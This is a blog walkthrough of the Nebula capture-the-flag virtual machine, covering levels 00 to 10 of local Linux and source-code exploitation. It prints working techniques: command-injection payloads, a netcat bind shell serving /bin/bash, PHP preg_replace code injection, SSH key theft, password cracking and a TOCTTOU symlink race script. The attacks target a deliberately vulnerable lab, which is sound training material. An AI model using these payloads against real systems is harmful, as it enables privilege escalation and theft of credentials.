Exploit Exercises – Nebula

The Exploit Exercises website provides a number of virtual machines which can be downloaded, and each virtual machine provides the user with a different set of exploitation challenges. In this blog post we’ll take a look at the challenges provided in the Nebula virtual machine, which focus on local Linux exploits and source code vulnerabilities. Nebula consists of 20 challenges which get increasingly more difficult. At the time of writing I’ve only made it to challenge 11 and it looks like I’ll have to improve my coding abilities before I’ll be able to make it further. I’ll keep updating this blog post as I learn more and complete more challenges.



This level requires you to find a Set User ID program that will run as the “flag00” account. You could also find this by carefully looking in top level directories in / for suspicious looking directories. Alternatively, look at the find man page.

Executing the command ‘find / -name flag00’ reveals an executable – flag00 – located in a hidden directory: /bin/…/. Executing this file elevates the user to the ‘flag00’ account, at which point the command ‘getflag’ can be executed.



There is a vulnerability in the below program that allows arbitrary programs to be executed, can you find it?

Source code for this challenge can be found here.

The flaw in the file is that the command ‘echo’ is executed using ‘/usr/bin/env’. Normally the ‘echo’ command refers to one specific application. Mine refers to ‘/bin/echoyou can find yours by typing ‘which echo’. However, by using ‘/usr/bin/env echo’ the operating system will actually look for the ‘echo’ application in the directories specified by the $PATH environment variable. This allows the attacker to modify the $PATH variable and provide a different ‘echo’ application to be executed.

The attacker can add their home folder to $PATH using the command PATH=/home/level01:$PATH. The home folder now appears in the $PATH variable before any of the other folders, meaning it is the first place where Linux will look. The attacker then adds a file called ‘echo’ with a command inside, such as /bin/getflag and makes the file executable using the command chmod 777 echo. Since the vulnerable program gets executed with the permissions of flag01, so does ‘/bin/getflag’.



There is a vulnerability in the below program that allows arbitrary programs to be executed, can you find it?

Source code for this challenge can be found here.

The flaw in the code is that it calls an environment variable that can be changed by the attacker, namely $USER. Normally, $USER holds the name of the current user account. When executing the program, it will echo “level02 is cool”:

level02@nebula:/home/flag02$ ./flag02

about to call system(“/bin/echo level02 is cool”)

level02 is cool

Using the command USER=”;getflag;echo” the attacker can inject lines into the code. The results are the following:

level02@nebula:/home/flag02$ ./flag02

about to call system(“/bin/echo ;getflag;echo is cool”)

You have successfully executed getflag on a target account

is cool



Check the home directory of flag03 and take note of the files there. There is a crontab that is called every couple of minutes.

The premise of this level is easy enough; a cronjob executes every couple of minutes and it will execute everything in the /home/flag03/writable.d’ directory. The attacker can create a file, make it executable, place it in the /home/flag03/writable.d directory and the command(s) will get executed. One thing to keep in mind is that even though you can trigger the job to run by executing /home/flag03/writable.sh this will not work because the job will execute with your (level03) permissions. You need to wait for the task to execute automatically so that it runs with flag03 permissions.

The issue is that the output of the commands will not appear in your shell, so you can’t see the results of successfully running the ‘getflag’ command. You can trust that the command ran successfully but this is a little anti-climactic. An alternative is that instead of just running ‘getflag’ you redirect the output results to a file, like so:

getflag > /tmp/output.txt.

Just make sure that the output gets saved in a location where flag03 has write permissions.

Of course, if you want to get a shell so that you can manually execute the ‘getflag‘ command there are ways to do that too. One way is to have the script open a local port with netcat and to assign a shell to anyone that connects, using the command:

nc.traditional –l –p 4444 –e /bin/bash.

You can then connect remotely to the port and you’ll be given a shell to the system with all the privileges of the flag03 account.



This level requires you to read the token file, but the code restricts the files that can be read. Find a way to bypass it 🙂

Source code for this challenge can be found here.

The source code for this challenge tells us that the vulnerable program will not open any file that has “token” in the name. The solution here was simple; since we cannot open any file with ‘token’ in the name, we create a hard link to the ‘token’ file with a different name using the command:

ln /home/flag04/token /home/level04/hardlink.

We can then execute the ‘flag04’ program on the hardlink, and it will actually run on the token file.

level04@nebula:/home/flag04$ ./flag04 /home/level04/hardlink

The content of the token file is actually the password to the flag04 account – something that we’ll see again in later challenges. This allows us to log in as flag04 and run the ‘getflag‘ command.




Check the flag05 home directory. You are looking for weak directory permissions.

Investigation of the ‘/home/flag05‘ folder shows that there are two hidden directories: ‘.ssh’ and ‘.backup’. The ‘.ssh’ directory typically contains private ssh keys. If we can get our hands on flag05’s private ssh key we should be able to establish an ssh session under flag05’s account without having to enter a password, as long as the private ssh key is not encrypted with a passphrase.

Unfortunately, the ‘/home/flag05/.ssh’ directory has restrictive permissions and the level05 account doesn’t have access to it. Let’s try the ‘/home/flag05/.backup’ directory instead. This directory has a gzipped file in it named ‘backup-19072011.tgz’. The directory and the file have weak permissions set, and the level05 account has access to them. We can copy the file over to our home directory, unzip it, and inspect it.

It turns out that backup file contains a copy of an RSA private key. We’ll continue under the assumption that this is the private key for flag05. It doesn’t specifically say that in the file, but since it was found in flag05’s home directory it is a safe assumption. We can proceed to copy the file over to our remote system using the following command:

scp backup-19072011 root@<IP ADDRESS>:/root/

In order to establish an ssh session without having to provide a password for flag05, we need to copy the private RSA key into ‘/root/.ssh/id_rsa’. Note that I’m logged into my system as root so that’s where the key goes. If you’re logged in as a different user, use the ‘.ssh’ folder under your home directory instead.

Before copying the private RSA key over, we need to remove some of the other information that was in the backup file. Specifically, everything that is not in between the following lines:





You may also want to create a backup of the ‘id_rsa‘ file that is already there on your system, so that you can restore it to how it was at a later stage.

cp /root/.ssh/id_rsa /root/.ssh/id_rsa.bak

Once you copy the right content into ‘/root/.ssh/id_rsa’ you can then establish an ssh session under the flag05 account and you will not be prompted for a password:

root@kali:~# ssh flag05@<Exploit Exercises IP Address>

flag05@nebula:~$ getflag
You have successfully executed getflag on a target account

If you are getting an error message while trying to connect or if you are asked for a passphrase or password it means there is something wrong with the format of the ‘id_rsa’ file. Try establishing an ssh session using the ‘- v’ command for verbose output to troubleshoot the issue.



The flag06 account credentials came from a legacy unix system.

This level requires us to do some basic password cracking. The description for the level tells us we have to inspect flag06’s account credentials, which means we have to look at the ‘/etc/passwd‘ file. The password file clearly shows that the entry for flag06 is different from those for other accounts:

cat /etc/passwd


On old UNIX systems, a user’s password hash would be stored in the ‘/etc/passwd’ file, as is the case for flag06. To crack this hash, we simply copy the entry for flag06 over into a file on our system and run John the Ripper (a common password cracking tool) against it.

root@kali:~# john flag06.pwd
Loaded 1 password hash (Traditional DES [128/128 BS SSE2-16])
hello (flag06)
guesses: 1 time: 0:00:00:00 DONE (Sun Nov 16 10:07:08 2014) c/s: 39341 trying: 123456 – Pyramid
Use the “–show” option to display all of the cracked passwords reliably

The password is “hello”. We can now log ssh into the flag06 account and successfully execute the ‘getflag’ command.



The flag07 user was writing their very first perl program that allowed them to ping hosts to see if they were reachable from the web server.

Source code for this challenge can be found here.

There are two files located in the ‘/home/flag07‘ directory: ‘index.cgi’ and ‘thttpd.conf’. The first is a simple Perl script and the second is a configuration file for a web server. Reading the configuration file reveals that the server is running on port 7007 and should be running under the ‘flag07’ user.

Using our remote system to connect to the web server it was determined that index.cgi is accessible to anyone, using the link:


 The Perl script can be invoked by passing an argument to index.cgi, such as http://<webserver>:7007/index.cgi?Host= The source code of the Perl script doesn’t seem to perform any input validation or sanitation, so we should be able to pass more than just a host address to it. By using a pipe, we can pass the script a system command that will also get executed:


This provided the message that ‘getflag’ was successfully executed on a target account.



World readable files strike again. Check what that user was up to, and use it to log into flag08 account.

The folder ‘/home/flag08‘ contains a network capture file: ‘capture.pcap’. The easiest way to analyze a PCAP file is using Wireshark, but it’s not the only way. To use Wireshark, copy the PCAP file over to your remote system using the secure copy command (scp). You can also analyze the file on the local system, but instead of Wireshark you’ll have to use tcpdump. Tcpdump is what I’ll use in the walkthrough for this challenge.

tcpdump –qns 0 –X –r capture.pcap

The output won’t be particularly easy to read but once you know what you’re looking for it’s fairly straightforward. The first couple of packets can be ignored – these have to do with establishing the session. What we’re interested in comes after you see the following:

21:23:12.339391 IP > tcp 75

Note that I removed the hex code and only kept the ASCII for better legibility.

This packet shows that the user was trying to log into a service – there is a clear prompt for a username and password. The next couple of packets will show us the login name that the user entered. However, you won’t see one single packet with a username in it. Instead the traffic looks like telnet traffic, in which a single entered character is sent to the server and the server echoes it back to the user. Additionally, you have to know what part of the packet to look at. The following packets will demonstrate this:

21:23:24.491452 IP > tcp 1


21:23:24.496998 IP > tcp 2


21:23:24.591456 IP > tcp 1


21:23:24.597002 IP > tcp 2


As you can see, most of the information in the packets is not of interest to us. Only the last character is what the user actually entered in the command prompt, and this character is echoed back by the server. Going through the next few packets shows us that the user entered ‘level8’ as their username.

Skipping a few packets, we can then see the server prompting the user for a password:

21:23:26.095219 IP > tcp 13


The password was more difficult to decipher than the username was. First of all, the server doesn’t echo anything back like with the username, most likely as a security measure – you often don’t get to see the password as you’re typing it in so as to avoid someone shoulder surfing you. This is not necessarily an issue but it makes it a little bit harder to figure out what the user sent and what the server received.

The first part of the password was easy enough: ‘backdoor’. However, after backdoor there is a series of messages sent between the user and the server that doesn’t seem to contain anything, except some periods. Then there are a few more packets with legible characters: ‘00Rm8’. Then there are some more periods, and finally the user sends three more characters to the server: ‘ate’.

After going through the file a few more times, I finally deducted that what the user sent to the server in its entirety was: ‘backdoor…00Rm8.ate’. From that string, it’s easy to figure out that a period represents a backspace – the user made a couple of mistakes while typing in the password and corrected them. Therefore, the password that was sent to the server was ‘backd00Rmate’.

This password allows for logging in to the Nebula box as the flag08 account, at which point you can successfully execute the ‘getflag’ command.



There’s a C setuid wrapper for some vulnerable PHP code…

Source code for this challenge can be found here.

There are two files under ‘/home/flag09‘: an executable called ‘flag09’, and a PHP sourcecode file called ‘flag09.php’ which is called by ‘flag09’ when executed. The PHP script calls a function that takes two parameters from the command line, although it only actually uses the first one. The first parameter is supposed to be the path to a file. The contents of that file will be modified in the function according to some regex and then output to the screen.

The function uses the PHP built-in function ‘preg_replace()’ to modify how it outputs the file contents. If it encounters any lines that include the string “[email” it then calls another function – spam() – by use of the ‘/e’ modifier. The preg_replace() function with the ‘-e’ modifier leaves it open to potential exploitation. You can read about this vulnerability here: https://bitquark.co.uk/blog/2013/07/23/the_unexpected_dangers_of_preg_replace.

We have to do two things to exploit this vulnerability; we have to set the value of the ‘$use_me’ me variable and we have to call it inside of a file, while making sure that it gets executed when the spam() function is called. The first part is easy; the PHP script sets $use_me to whatever our second argument on the command line is. Then we have to call it. I created a file in ‘/home/level09‘ called “test.txt” and it contained the following string:

[email system($use_me)]

I then ran the ‘flag09’ file as follows:

/home/flag09/flag09 /home/level09/test.txt getflag.

The results:

level09@nebula:~$ System(getflag).

Apparently, I am successfully calling the $use_me variable, but the system command itself is not getting executed. In order for this command to be interpreted and executed as a system command, it has to be wrapped in curly braces. After some experimentation, the following syntax worked for me:

[email {${system($use_me)}}]

Again executing the flag09 program with the same command line arguments now resulted in the following:

level09@nebula:~$ /home/flag09/flag09 /home/level09/test.txt getflag
You have successfully executed getflag on a target account
PHP Notice: Undefined variable: You have successfully executed getflag on a target account in /home/flag09/flag09.php(15) : regexp code on line 1

Despite an error thrown by the script because the code injection affects its interpretation of PHP code, the getflag command was successfully executed.



The setuid binary at /home/flag10/flag10 binary will upload any file given, as long as it meets the requirements of the access() system call.

Source code for this challenge can be found here.

The source code for level 10 outlines a program that takes two command line arguments. The first one is a file path, and the second one is a host to send the file to. If the user has access to the file, the program writes the contents of it to port 18211 on the specified host.

There is also a ‘token’ file located in the flag10 home directory, but the ‘level10’ user doesn’t have read access to this file. It seems the challenge is to somehow exploit the program to provide us with access to the token file.

Inspection of the source code shows that it might be vulnerable to a “TOCTTOU” attack, which stands for “Time Of Check To Time Of Use”. Basically this vulnerability exists when a program first checks a condition, and then uses the result of this check at a later time. In the source code for this challenge, the program checks if the user has access to a file at line 24 and it opens the file for reading of its contents at line 54. Using a TOCTTOU attack means that a file is provided to the program that the user has access to so that the result of line 24 is “true”, and then swapping out the file for another file that the user doesn’t have access to (the token file) before line 54.

There are a couple of preparatory steps that need to be taken before attempting to exploit the program. First of all, a script needs to be run that continuously swaps out a file that we have access to with the token file. The easiest way to accomplish this is to create a symbolic link to a file and to have the script change the target of the symbolic link back and forth. The commands for this are:

Echo “testing token” > faketoken               #create fake token file

Ln –sf /home/level10/faketoken file          #create symbolic link named file and point to fake token file

Vi tocttouscript.sh                                          #create tocctou script


COUNT = 1;                                                      #create counter

While true                                                        #run forever


               Echo $COUNT;                                 # I like to echo counters on each run to make sure it’s running

               Ln –sf /home/flag10/token file;                  # switch out symbolic link target

               Ln –sf /home/level10/faketoken file;         # switch out symbolic link target

               COUNT=$((COUNT+1))                   #increase counter by one


So now we have the symbolic link and the shell script responsible for constantly changing out the target. We also need to set up a host to listen on port 18211 for the incoming file. I simply opened up a port with netcat on my remote system. The command for this is:

Ncat –l 18211 –keep-open

The ‘keep-open’ flag is important here because without it, the connection gets closed as soon as input is received. The TOCTTOU attack is somewhat of a trial and error attack – the swapping out of the files has to happen at the exact right moment (between the moment the access permissions are checked and the moment the result of the check is used) and this is unlikely to happen on the first occurrence. Numerous repeated attempts will be made until the timing is just right and everything lines up, so we want to make sure our host and port keep listening until that happens.

Now everything is in place to start the attack. The first thing to do is to start the script we wrote to start the swapping of the files that the symbolic link points to.


Next we want to execute the ‘flag’ program, but we don’t want to execute it just once. We want to execute it multiple times in a row because again – this exploit is somewhat of a trial and error process. To accomplish this we could write a second script and execute that, or we can simply execute a while-loop from the command line, where ‘<host>’ gets replaced with the IP address for your listening server:

While true; do /home/flag10/flag /home/level10/file <host>; done

Below is some of the information that I received on my open netcat connection:

root@kali:~# ncat -l 18211 –keep-open
.oO Oo.
testing token
.oO Oo.
testing token
.oO Oo.
.oO Oo.
.oO Oo.
testing token

As you can tell, the first two runs of the program did not coincide with the files being correctly swapped, but the next two runs did. The contents of the ‘token’ file seems to be “615a2ce1-b2b5-4c76-8eed-8aa5c4015c27”. Establishing another ssh connection from Kali to the Exploit Exercises box and authentication with username “flag10” and the token as password results in a successful login. We can now execute the ‘getflag’ command and complete this challenge.


That is as far as I’ve gotten so far with Exploit Exercises. As I complete more challenges, I’ll add more entries to this blog post.

Back to Top

Leave a Reply

Your email address will not be published.

You may use these HTML tags and attributes: <a href="" title=""> <abbr title=""> <acronym title=""> <b> <blockquote cite=""> <cite> <code> <del datetime=""> <em> <i> <q cite=""> <s> <strike> <strong>

five × 1 =